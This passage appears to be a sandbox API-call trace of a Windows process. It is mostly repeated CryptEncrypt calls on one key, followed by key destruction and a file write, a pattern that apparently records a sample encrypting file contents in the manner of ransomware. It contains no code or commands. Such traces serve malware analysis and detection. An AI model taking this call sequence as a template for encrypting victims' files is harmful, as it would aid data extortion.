pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.759] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.760] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.761] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.762] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.763] CryptDestroyKey (hKey=0x1639868) returned 1 [0161.763] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0161.763] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x1959, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0161.763] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c3e4, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0c3e4*=0x524, lpOverlapped=0x0) returned 1 [0161.763] GetProcessHeap () returned 0x1600000 [0161.763] RtlAllocateHeap 